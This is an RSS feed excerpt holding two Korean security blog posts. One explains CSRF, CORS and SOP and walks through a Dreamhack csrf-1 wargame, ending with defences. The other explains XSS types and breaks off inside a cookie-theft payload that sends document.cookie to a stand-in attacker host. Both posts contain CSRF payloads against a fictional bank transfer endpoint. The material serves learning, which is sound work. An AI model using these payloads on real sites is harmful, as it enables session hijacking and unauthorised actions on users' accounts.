      <link>https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-CSRF-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0%EC%99%80-CORS-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-CSRF-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0%EC%99%80-CORS-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0/</guid>
      <pubDate>Sat, 25 Apr 2026 07:11:48 GMT</pubDate>
      <description><![CDATA[<h2>CSRF</h2>
<blockquote>
<p>CSRF란, 인증된 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동(비밀번호 변경, 송금, 삭제 등)을 웹 애플리케이션에서 수행하게 만드는 취약점</p>
</blockquote>
<p>사용자의 <b>신원 정보가 포함되어있는 쿠키(세션, JWT)는 일종의 서명과 같은 역할</b>을 한다.<br>**CSRF(Cross Site Request Forgery, 교차 사이트 요청 위조)**는 이러한 권한이 주어진 사용자를 이용해 <b>사용자를 속여 의도치 않은 요청에 동의</b>하도록 만드는 공격이다.<br><img src="https://velog.velcdn.com/images/njw/post/d2c83f95-65fe-4222-b4d8-9ce816a023e5/image.png" alt="[보안] CSRF 부셔보고 CORS 알아보기!" width="1698" height="844" loading="lazy" decoding="async"><br>이미지를 보자. 이미지에선 공격자가 <a href="https://velog.io/@njw/%EB%B3%B4%EC%95%88-XSS-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0#%EB%B0%A9%EC%8B%9D" target="_blank" rel="noopener">Stored XSS 취약점</a>을 이용해 CSRF 공격 스크립트가 포함된 게시물을 등록하고 이를 이용자가 볼 수 있도록 하고 있다. 이용자는 CSRF 스크립트가 포함된 게시물을 열람하여 <b>스스로 웹 사이트에게 요청을 보내 공격자가 의도한대로 작업이 이루어지는 것</b>을 알 수 있다.</p>
<h3>방식</h3>
<p>CSRF 공격에 성공하기 위해서는 <b>공격자가 작성한 악성 스크립트를 이용자가 실행</b>해야 한다. 이는 공격자가 이용자에게 메일을 보내거나 게시판에 글을 작성해 이용자가 이를 조회하도록 유도하는 방법이 있다. 심지어는 공격자가 직접 자신의 사이트를 만들어 그곳에서 악성 스크립트를 작성할 수도 있다. 여기서 말하는 <b>악성 스크립트는 HTTP 요청을 보내는 코드</b>를 뜻한다.</p>
<h4>XSS와의 차이점?</h4>
<p>XSS와 CSRF는 스크립트를 웹 페이지에 작성해 공격한다는 점에서 매우 유사하다. 두 취약점의 공통점과 차이점은 다음과 같다.</p>
<h5>공통점</h5>
<p>두 개의 취약점은 모두 클라이언트를 대상으로 하는 공격이며, <b>이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도</b>해야 한다.</p>
<h5>차이점</h5>
<p>두 개의 취약점은 공격에 있어 서로 다른 목적을 가진다. <b>XSS는 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행</b>시킨다.</p>
<p>CSRF는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격이다. 또한, <b>공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행</b>할 수 있다.</p>
<h3>CORS란?</h3>
<p>CSRF 공격의 목적은 요청을 실행시키는 것 자체이다. <b>공격자는 응답을 굳이 읽지 않아도 된다.</b> <code>&lt;form&gt;</code> 태그를 이용한 POST 요청이나 <code>&lt;img&gt;</code> 태그를 이용한 GET 요청처럼 단순한 방식으로도 <b>송금이나 설정 변경은 충분히 가능</b>하다.</p>
<p>하지만 여기서 <b>공격자가 단순히 요청을 보내는 것을 넘어,</b> 서버의 응답 데이터를 가로채거나(예: 계좌 잔액 조회, 개인정보 탈취), application/json 같은 커스텀 형식으로 정교한 요청을 보내려는 순간, 브라우저라는 문지기가 막는다. 바로 <b>SOP 정책</b> 때문이다.</p>
<p><b>흔히 CORS 에러라고 불리우는 에러 사진</b><br><img src="https://velog.velcdn.com/images/njw/post/3f77ae0a-c745-4635-9b87-ac899194e9e9/image.png" alt="[보안] CSRF 부셔보고 CORS 알아보기!" width="868" height="295" loading="lazy" decoding="async"></p>
<p><a href="https://velog.io/@njw/%EB%B3%B4%EC%95%88-XSS-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0#sop-%EC%A0%95%EC%B1%85" target="_blank" rel="noopener">여기서</a> <b>SOP는 Same Origin인 서비스들끼리만 리소스를 공유</b>할 수 있다고 했다.<br>그렇다면 <code>&lt;img&gt;</code> 태그들 같은 것들은 어떻게 작동할까? 분명히 Cross Origin인 리소스를 태그에 담을 수 있지 않은가. 사실 <b>SOP는 Cross Origin끼리의 교환에서 모든 리소스를 막는 것이 아니다.</b> 위에서 서술한 <code>&lt;img&gt;</code> 태그와 같은 이미지 말고도 <code>&lt;style&gt;</code>, <code>&lt;script&gt;</code> 등의 태그의 리소스 교환을 막지 않는다.<br>위 경우들 외에도 Cross Origin인 웹 서비스들끼리 데이터를 처리해야 하는 경우가 있다. 이때 <b>자원을 공유하기 위해 사용하는 방법</b>을 <b>CORS</b>라고 명칭한다.</p>
<p><b>CORS(Cross-Origin Resource Sharing, 교차 출처 리소스 공유)는 HTTP 헤더에 기반하여 Cross Origin 간에 리소스를 공유</b>하는 방법이다.<br>발신측에서 CORS 헤더를 설정해 요청하면, 수신측에서 헤더를 구분해 정해진 규칙에 맞게 데이터를 가져갈 수 있도록 설정한다.<br><b>웹 리소스 요청 코드</b></p>
<pre><code class="hljs language-dart"><span class="hljs-comment">/*
    XMLHttpRequest 객체를 생성합니다. 
    XMLHttpRequest는 웹 브라우저와 웹 서버 간에 데이터 전송을
    도와주는 객체 입니다. 이를 통해 HTTP 요청을 보낼 수 있습니다.
*/</span>
xhr = <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();
<span class="hljs-comment">/* https://theori.io/whoami 페이지에 POST 요청을 보내도록 합니다. */</span>
xhr.<span class="hljs-title function_">open</span>(<span class="hljs-string">&#x27;POST&#x27;</span>, <span class="hljs-string">&#x27;https://njwon.io/lol&#x27;</span>);
<span class="hljs-comment">/* HTTP 요청을 보낼 때, 쿠키 정보도 함께 사용하도록 해줍니다. */</span>
xhr.withCredentials = <span class="hljs-keyword">true</span>;
<span class="hljs-comment">/* HTTP Body를 JSON 형태로 보낼 것이라고 수신측에 알려줍니다. */</span>
xhr.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">&#x27;Content-Type&#x27;</span>, <span class="hljs-string">&#x27;application/json&#x27;</span>);
<span class="hljs-comment">/* xhr 객체를 통해 HTTP 요청을 실행합니다. */</span>
xhr.<span class="hljs-title function_">send</span>(<span class="hljs-string">&quot;{&#x27;data&#x27;:&#x27;WhoAmI&#x27;}&quot;</span>);</code></pre>
<p><b>발신 측의 HTTP 요청</b></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">OPTIONS</span> <span class="hljs-string">/lol</span> <span class="hljs-meta">HTTP/1.1</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>njwon.io
<span class="hljs-attribute">Connection</span><span class="hljs-punctuation">: </span>keep-alive
<span class="hljs-attribute">Access-Control-Request-Method</span><span class="hljs-punctuation">: </span>POST
<span class="hljs-attribute">Access-Control-Request-Headers</span><span class="hljs-punctuation">: </span>content-type
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://bank.com
<span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>*/*
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://bank.com/</code></pre>
<p>위 요청 코드와 실제 요청된 HTTP 메세지를 보면 POST로 요청하도록 코드를 작성했지만 실제로는 OPTIONS 메서드로 메세지가 날라간 것을 알 수 있다.<br>이를 <b>CORS preflight</b>라고 하며, 수신측에 웹 리소스를 요청해도 되는지 질의하는 과정이다.</p>
<p>위처럼 질의하면 서버는 아래와 같이 응답한다.<br><b>서버 측의 HTTP 응답</b></p>
<pre><code class="hljs language-dart">    HTTP/<span class="hljs-number">1.1</span> <span class="hljs-number">200</span> OK
    <span class="hljs-title class_">Access</span>-<span class="hljs-title class_">Control</span>-<span class="hljs-title class_">Allow</span>-<span class="hljs-title class_">Origin</span>: https:<span class="hljs-comment">//dreamhack.io</span>
    <span class="hljs-title class_">Access</span>-<span class="hljs-title class_">Control</span>-<span class="hljs-title class_">Allow</span>-<span class="hljs-title class_">Methods</span>: POST, GET, OPTIONS
    <span class="hljs-title class_">Access</span>-<span class="hljs-title class_">Control</span>-<span class="hljs-title class_">Allow</span>-<span class="hljs-title class_">Credentials</span>: <span class="hljs-keyword">true</span>
    <span class="hljs-title class_">Access</span>-<span class="hljs-title class_">Control</span>-<span class="hljs-title class_">Allow</span>-<span class="hljs-title class_">Headers</span>: <span class="hljs-title class_">Content</span>-<span class="hljs-title class_">Type</span></code></pre>
<p>여기서 <b>Access-Control-Allow-Origin</b>은 <b>요청을 처리할 수 있는 Origin</b>을 의미한다.<br><b>Access-Control-Allow-Methods</b>는 <b>처리할 수 있는 메서드 목록</b>을 뜻하고,<br><b>Access-Control-Allow-Credentials</b>는 <b>쿠키 사용 여부를 판단</b>한다.<br><b>Access-Control-Allow-Headers</b>는 <b>헤더의 사용 가능 여부</b>를 나타낸다.</p>
<p>그러니 사실 <b>CORS 에러는 진짜 CORS 에러라기 보다는 SOP 정책을 위반한 요청을 보내 뜨는 에러</b>라고 보는것이 합당하다.</p>
<h3>CSRF 페이로드</h3>
<p><b>HTML img 태그 공격 코드 예시</b></p>
<pre><code class="hljs language-routeros">&lt;img <span class="hljs-attribute">src</span>=<span class="hljs-string">&#x27;http://bank.com/sendmoney?to=njwon&amp;amount=100&#x27;</span> <span class="hljs-attribute">width</span>=0px <span class="hljs-attribute">height</span>=0px&gt;</code></pre>
<p><b>Javascript 공격 코드 예시</b></p>
<pre><code class="hljs language-pgsql"><span class="hljs-comment">/* 새 창 띄우기 */</span>
<span class="hljs-keyword">window</span>.<span class="hljs-keyword">open</span>(<span class="hljs-string">&#x27;http://bank.com/sendmoney?to=njwon&amp;amount=100&#x27;</span>);
<span class="hljs-comment">/* 현재 창 주소 옮기기 */</span>
<span class="hljs-keyword">location</span>.href = <span class="hljs-string">&#x27;http://bank.com/sendmoney?to=njwon&amp;amount=100&#x27;</span>;
<span class="hljs-keyword">location</span>.replace(<span class="hljs-string">&#x27;http://bank.com/sendmoney?to=njwon&amp;amount=100&#x27;</span>);</code></pre>
<h3>wargame 풀이</h3>
<p><a href="https://dreamhack.io/wargame/challenges/26" target="_blank" rel="noopener">csrf-1</a> 워게임 문제를 풀이해 보았다.</p>
<pre><code class="hljs language-dns">#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

app = Flask<span class="hljs-punctuation">(</span>__name__<span class="hljs-punctuation">)</span>
app.secret_key = os.urandom<span class="hljs-punctuation">(</span><span class="hljs-number">32</span><span class="hljs-punctuation">)</span>

try:
    FLAG = open<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;./flag.txt&quot;</span>, <span class="hljs-string">&quot;r&quot;</span><span class="hljs-punctuation">)</span>.read<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
except:
    FLAG = <span class="hljs-string">&quot;[**FLAG**]&quot;</span>


def read_url<span class="hljs-punctuation">(</span>url, cookie={<span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;name&quot;</span>, <span class="hljs-string">&quot;value&quot;</span>: <span class="hljs-string">&quot;value&quot;</span>}<span class="hljs-punctuation">)</span>:
    cookie.update<span class="hljs-punctuation">(</span>{<span class="hljs-string">&quot;domain&quot;</span>: <span class="hljs-string">&quot;127.0.0.1&quot;</span>}<span class="hljs-punctuation">)</span>
    try:
        service = Service<span class="hljs-punctuation">(</span>executable_path=<span class="hljs-string">&quot;/usr/local/bin/chromedriver&quot;</span><span class="hljs-punctuation">)</span>
        options = webdriver.ChromeOptions<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
        for arg <span class="hljs-type">in</span> [
            <span class="hljs-string">&quot;headless&quot;</span>,
            <span class="hljs-string">&quot;window-size=1920x1080&quot;</span>,
            <span class="hljs-string">&quot;disable-gpu&quot;</span>,
            <span class="hljs-string">&quot;no-sandbox&quot;</span>,
            <span class="hljs-string">&quot;disable-dev-shm-usage&quot;</span>,
        ]:
            options.add_argument<span class="hljs-punctuation">(</span>arg<span class="hljs-punctuation">)</span>

        driver = webdriver.Chrome<span class="hljs-punctuation">(</span>service=service, options=options<span class="hljs-punctuation">)</span>
        driver.implicitly_wait<span class="hljs-punctuation">(</span><span class="hljs-number">3</span><span class="hljs-punctuation">)</span>
        driver.set_page_load_timeout<span class="hljs-punctuation">(</span><span class="hljs-number">3</span><span class="hljs-punctuation">)</span>
        driver.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;http://127.0.0.1:8000/&quot;</span><span class="hljs-punctuation">)</span>
        driver.add_cookie<span class="hljs-punctuation">(</span>cookie<span class="hljs-punctuation">)</span>
        driver.get<span class="hljs-punctuation">(</span>url<span class="hljs-punctuation">)</span>
    except Exception as e:
        print<span class="hljs-punctuation">(</span>str<span class="hljs-punctuation">(</span>e<span class="hljs-punctuation">)</span><span class="hljs-punctuation">)</span>
        driver.quit<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
        # return str<span class="hljs-punctuation">(</span>e<span class="hljs-punctuation">)</span>
        return False
    driver.quit<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
    return True


def check_csrf<span class="hljs-punctuation">(</span>param, cookie={<span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;name&quot;</span>, <span class="hljs-string">&quot;value&quot;</span>: <span class="hljs-string">&quot;value&quot;</span>}<span class="hljs-punctuation">)</span>:
    url = f<span class="hljs-string">&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;</span>
    return read_url<span class="hljs-punctuation">(</span>url, cookie<span class="hljs-punctuation">)</span>


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/&quot;</span><span class="hljs-punctuation">)</span>
def index<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    return render_template<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;index.html&quot;</span><span class="hljs-punctuation">)</span>


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/vuln&quot;</span><span class="hljs-punctuation">)</span>
def vuln<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    param = request.args.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;param&quot;</span>, <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">)</span>.lower<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
    xss_filter = [<span class="hljs-string">&quot;frame&quot;</span>, <span class="hljs-string">&quot;script&quot;</span>, <span class="hljs-string">&quot;on&quot;</span>]
    for _ <span class="hljs-type">in</span> xss_filter:
        param = param.replace<span class="hljs-punctuation">(</span>_, <span class="hljs-string">&quot;*&quot;</span><span class="hljs-punctuation">)</span>
    return param


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/flag&quot;</span>, methods=[<span class="hljs-string">&quot;GET&quot;</span>, <span class="hljs-string">&quot;POST&quot;</span>]<span class="hljs-punctuation">)</span>
def flag<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    if request.method == <span class="hljs-string">&quot;GET&quot;</span>:
        return render_template<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;flag.html&quot;</span><span class="hljs-punctuation">)</span>
    elif request.method == <span class="hljs-string">&quot;POST&quot;</span>:
        param = request.form.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;param&quot;</span>, <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">)</span>
        if not check_csrf<span class="hljs-punctuation">(</span>param<span class="hljs-punctuation">)</span>:
            return &#x27;&lt;script&gt;alert<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;wrong??&quot;</span><span class="hljs-punctuation">)</span><span class="hljs-comment">;history.go(-1);&lt;/script&gt;&#x27;</span>

        return &#x27;&lt;script&gt;alert<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;good&quot;</span><span class="hljs-punctuation">)</span><span class="hljs-comment">;history.go(-1);&lt;/script&gt;&#x27;</span>


memo_text = <span class="hljs-string">&quot;&quot;</span>


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/memo&quot;</span><span class="hljs-punctuation">)</span>
def memo<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    global memo_text
    text = request.args.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;memo&quot;</span>, None<span class="hljs-punctuation">)</span>
    if text:
        memo_text += text
    return render_template<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;memo.html&quot;</span>, memo=memo_text<span class="hljs-punctuation">)</span>


@app.route<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;/admin/notice_flag&quot;</span><span class="hljs-punctuation">)</span>
def admin_notice_flag<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>:
    global memo_text
    if request.remote_addr != <span class="hljs-string">&quot;127.0.0.1&quot;</span>:
        return <span class="hljs-string">&quot;Access Denied&quot;</span>
    if request.args.get<span class="hljs-punctuation">(</span><span class="hljs-string">&quot;userid&quot;</span>, <span class="hljs-string">&quot;&quot;</span><span class="hljs-punctuation">)</span> != <span class="hljs-string">&quot;admin&quot;</span>:
        return <span class="hljs-string">&quot;Access Denied 2&quot;</span>
    memo_text += f<span class="hljs-string">&quot;[Notice] flag is {FLAG}<span class="hljs-char escape_">\n</span>&quot;</span>
    return <span class="hljs-string">&quot;Ok&quot;</span>


app.run<span class="hljs-punctuation">(</span>host=<span class="hljs-string">&quot;0.0.0.0&quot;</span>, port=<span class="hljs-number">8000</span><span class="hljs-punctuation">)</span></code></pre>
<p><a href="https://dreamhack.io/wargame/challenges/28" target="_blank" rel="noopener">xss-1</a>와 마찬가지로 <b>FLAG 변수에 플래그</b>가 담기는 것을 알 수 있다.<br><img src="https://velog.velcdn.com/images/njw/post/d56bbe1a-302f-484a-9b1f-eaf6b81b6d82/image.png" alt="[보안] CSRF 부셔보고 CORS 알아보기!" width="359" height="76" loading="lazy" decoding="async"></p>
<p>/vuln 엔드포인트에서는 파라미터를 모두 소문자로 변환해 &quot;frame&quot;, &quot;script&quot;, &quot;on&quot; 이 세 키워드를 모두 &quot;*&quot;로 치환하고 반환해 <b>XSS 공격이 불가능</b>하다는 것을 확인할 수 있다.<br><img src="https://velog.velcdn.com/images/njw/post/2eca434a-563a-40ca-8b32-38de67e66f09/image.png" alt="[보안] CSRF 부셔보고 CORS 알아보기!" width="603" height="204" loading="lazy" decoding="async"></p>
<p>이 부분에서 /flag 엔드포인트에 POST 메서드로 요청이 오면 check_csrf에 <b>사용자의 요청값과 플래그를 포함해 넘긴다.</b><br><img src="https://velog.velcdn.com/images/njw/post/9392bd84-d67f-4d11-951e-7bf3e1eebeb0/image.png" alt="[보안] CSRF 부셔보고 CORS 알아보기!" width="566" height="201" loading="lazy" decoding="async"></p>
<p>check_csrf는 동적으로 URL을 만들어 서버에서 chrome 드라이버를 통해 <code>127.0.0.1</code> 자기 자신을 의미하는 <b>루프백 주소에 쿠키를 만들고 동적으로 만든 URL을 열어본다는 것을 알 수 있다.</b><br><img src="https://velog.velcdn.com/images/njw/post/26d71bf4-a9ce-4f72-9ab2-3e30223e5c34/image.png" alt="[보안] CSRF 부셔보고 CORS 알아보기!" width="590" height="632" loading="lazy" decoding="async"></p>
<p>/memo 엔드포인트를 살펴보면 render_template()을 이용해 입력값을 출력하기 때문에 <b>XSS가 발생하지 않는다</b>는 것을 알 수 있는데 전역 변수 <b>memo_txt에 파라미터 값을 지속적으로 기록하고 출력</b>하는 것을 알 수 있다.<br><img src="https://velog.velcdn.com/images/njw/post/efa25945-b496-489d-a4dd-89ac5b2826ac/image.png" alt="[보안] CSRF 부셔보고 CORS 알아보기!" width="661" height="290" loading="lazy" decoding="async"></p>
<p>/admin/notice_flag 엔드포인트는 접속 호스트의 주소가 <b>루프백 주소이며 파라미터가 admin이어야지만 플래그를 memo_txt에 추가</b>한다.<br><img src="https://velog.velcdn.com/images/njw/post/dfd08d8c-441d-4f8a-a3ce-eadd5ee582ec/image.png" alt="[보안] CSRF 부셔보고 CORS 알아보기!" width="603" height="260" loading="lazy" decoding="async"></p>
<h4>취약점 분석</h4>
<p>/admin/notice_flag 엔드포인트를 이용하면 플래그를 획득할 수 있어보인다.<br>하지만 반드시 루프백 주소로 admin 파라미터로 접근해야지만 플래그를 보여주고, 서버 또한 쿠키를 루프백 주소에 저장하므로 <code>&lt;img src=&quot;/admin/notice_flag?userid=admin&quot;&gt;</code>와 같은 <b>&quot;frame&quot;, &quot;script&quot;, &quot;on&quot; 키워드를 사용하지 않는 CSRF 페이로드를 /flag 엔드포인트를 이용해 동적으로 URL을 만들어 서버의 브라우저를 이용해 열어야 한다.</b></p>
<p>플래그 획득 성공!<br><img src="https://velog.velcdn.com/images/njw/post/d723dddf-6340-4574-84cf-5b55776ce22a/image.png" alt="[보안] CSRF 부셔보고 CORS 알아보기!" width="440" height="91" loading="lazy" decoding="async"></p>
<h3>CSRF 방어</h3>
<p>방어하기 위해서 쓰이는 가장 대표적인 것은 <b>CSRF Token</b>이다.<br>CSRF Token은 서버가 세션에 랜덤 토큰을 생성해서 심어주고 HTML의 <code>&lt;body&gt;</code> 안에도 담고, 이를 <b>매 요청 시 비교하여 검증</b>하는 식으로 동작한다.<br>공격자가 자신의 사이트에서 스크립트를 작성해 요청해도 토큰이 없기 때문에 막히고, SOP 때문에 공격자가 피해자의 페이지를 읽을 수 없어서 <b>토큰값을 알아낼 방법이 없게 된다.</b><br><b>Referer / Origin 헤더를 검증</b>하는 것과 <b>SameSite일때만 Cookie를 보내도록 설정</b>하는 것 또한 방어를 위한 방법으로 적합하다.</p>
<h2>마무리</h2>
<p>CSRF에 대해 공부해보았다. CSRF Token을 사용해 보았지만 정확히 원리를 파악하기 힘들어 헤맸던 경험이 있는데 블로그를 작성하며 조금 정리된 것 같다.</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>보안</category><category>웹</category><category>통신</category>
    </item>
    <item>
      <title>[보안] XSS 부셔보고 SOP 알아보기!</title>
      <link>https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-XSS-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EB%B3%B4%EC%95%88-XSS-%EB%B6%80%EC%85%94%EB%B3%B4%EA%B8%B0/</guid>
      <pubDate>Sat, 25 Apr 2026 04:00:30 GMT</pubDate>
      <description><![CDATA[<h2>XSS</h2>
<blockquote>
<p>XSS란, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행하는 웹 취약점</p>
</blockquote>
<p>**XSS(Cross-Site Scripting)**는 <a href="https://velog.io/@njw/%EB%B3%B4%EC%95%88-%EC%9B%B9%EC%9D%98-%EC%9D%B8%EC%A6%9D-%EB%B0%A9%EC%8B%9D" target="_blank" rel="noopener">여기서</a> 볼 수 있는 <b>쿠키와 세션 방식을 악용</b>할 수 있는 <b>클라이언트 사이드 취약점</b>이다. </p>
<h3>방식</h3>
<p>하나 예시를 들어보자.<br><img src="https://velog.velcdn.com/images/njw/post/3f1b55b4-166e-416c-b059-bdff05b0150e/image.png" alt="[보안] XSS 부셔보고 SOP 알아보기!" width="820" height="489" loading="lazy" decoding="async"><br>사람들에게 글을 쓰고 볼 수 있는 기능을 제공하는 커뮤니티 웹 서비스가 있다고 생각해보자.</p>
<p>평범한 이용자들은 단순히 개발자의 의도대로 자연어로 이루어진 글을 게시할 뿐이겠지만, 여기서 공격자가 <b>인터널 자바스크립트  <code>&lt;script&gt;&lt;/script&gt;</code>를 포함한 글을 게시하면 그 글을 열어본 유저에게는 클라이언트 사이드 스크립트</b>가 로드되어 실행될 것이다.</p>
<p>이같은 경우를 XSS라고 부르는 것이다.</p>
<p>XSS는 크게 네가지의 공격기법이 있다.</p>
<table>
<thead>
<tr>
<th>종류</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>Stored XSS</td>
<td>XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS</td>
</tr>
<tr>
<td>Reflected XSS</td>
<td>XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS</td>
</tr>
<tr>
<td>DOM-based XSS</td>
<td>XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS<br>(Fragment는 서버 요청/응답 에 포함되지 않는다.)</td>
</tr>
<tr>
<td>Universal XSS</td>
<td>클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 <b>SOP 정책</b>을 우회하는 XSS</td>
</tr>
</tbody></table>
<p>이 중에서 제일 많이 쓰이는 취약점은 <b>Stored XSS</b>와 <b>Reflected XSS</b>이다.</p>
<blockquote>
<p>Stored XSS란, 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS.</p>
</blockquote>
<p><b>Stored XSS</b>엔 위 예시에서 설명했던 게시물에 악성 스크립트를 포함해 업로드하는 방식이 있다. 게시물은 <b>불특정 다수에게 보여지기 때문에 해당 기능에서 XSS 취약점이 존재할 경우 높은 파급력</b>을 가진다.</p>
<blockquote>
<p>Reflected XSS란, 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생하는 XSS.</p>
</blockquote>
<p><b>Reflected XSS</b> 기법을 이용하는 방법중엔 대표적으로 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식이 있다. 이용자가 게시물을 검색하면 서버에서는 검색 결과를 이용자에게 반환한다. 일부 서비스에서는 검색 결과를 응답에 포함하는데, <b>검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS</b>가 발생할 수 있다.</p>
<p>쉽게 말해서 커뮤니티의 글은 <b>DB에 담겨오니 Stored XSS</b>이고,<br>검색을 할 경우 URL에 포함되어 전송되고 <b>DB에 담기지 않고 서버에서 반환되어 오니 Reflected XSS</b>이다.</p>
<h4>SOP 정책</h4>
<p>위에서 <b>Universal XSS는 SOP 정책을 우회하는 XSS</b>라고 서술한 바 있다.<br><a href="https://velog.io/@njw/%EB%B3%B4%EC%95%88-%EC%9B%B9%EC%9D%98-%EC%9D%B8%EC%A6%9D-%EB%B0%A9%EC%8B%9D" target="_blank" rel="noopener">브라우저는 인증 정보로 사용될 수 있는 쿠키를 브라우저 내부에 보관한다.</a> 그리고 <b>이용자가 웹 서비스에 접속할 때, 브라우저는 해당 웹 서비스에서 사용하는 인증 정보인 쿠키를 HTTP 요청에 포함시켜 전달</b>한다. 이와 같은 특징은 사이트에 직접 접속하는 것에만 한정되지 않는다. 브라우저는 웹 리소스를 통해 간접적으로 <b>타 사이트에 접근</b>할 때도 인증 정보인 <b>쿠키를 함께 전송</b>하는 특징을 가지고 있다.</p>
<p>이 특징 때문에 <b>악의적인 페이지가 클라이언트의 권한을 이용해 대상 사이트에 HTTP 요청을 보내고, HTTP 응답 정보를 획득 하는 코드</b>를 <b>실행</b>할 수 있다. 이는 정보 유출과 같은 보안 위협이 생길 수 있는 요소가 된다. 따라서, 클라이언트 입장에서는 가져온 데이터를 <b>악의적인 페이지에서 읽을 수 없도록 해야 하고 해당 웹서비스에서만 읽을 수 있도록 해야한다.</b> 이것이 바로 **SOP(동일 출처 정책, Same Origin Policy)**이라고 불리우는 보안 메커니즘이다.</p>
<p>SOP는 URL의 구성요소 중 프로토콜(스키마)과 호스트와 포트를 확인한다.<br><a href="https://njwon.com:31240" target="_blank" rel="noopener">https://njwon.com:31240</a><br>(프로토콜(스키마))  (호스트)  (포트)<br>이 중 하나라도 쿠키를 발급한 웹 서비스와 다르다면 <b>Cross Origin</b>으로 판별하고 아니라면 <b>Same Origin</b>으로 판별한다.</p>
<p>SOP는 <b>Same Origin일 때만 정보를 읽도록 한다.</b></p>
<h3>XSS 페이로드</h3>
<p>XSS는 다음과 같은 형태로 존재할 수 있다.<br><b><div style="text-align: center"> 쿠키 및 세션 탈취 공격 코드 </div></b></p>
<pre><code class="hljs language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript">
    <span class="hljs-comment">// 현재 페이지의 쿠키(return type: string)</span>
    <span class="hljs-variable language_">document</span>.<span class="hljs-property">cookie</span>; 
    <span class="hljs-comment">// 쿠키 생성(key: name, value: test)</span>
    <span class="hljs-variable language_">document</span>.<span class="hljs-property">cookie</span> = <span class="hljs-string">&quot;name=test;&quot;</span>;
    <span class="hljs-comment">// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io</span>
    <span class="hljs-comment">// &quot;http://hacker.dreamhack.io/?cookie=현재페이지의쿠키&quot; 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함</span>
    <span class="hljs-keyword">new</span> <span class="hljs-title class_">Image</span>().<span class="hljs-property">src</span> = <span class="hljs-string">&quot;http://hacker.njwon.io/?cookie=&quot;</span> + <span class="hljs-variable language_">document</span>.<span class="hljs-property">cookie</span>;
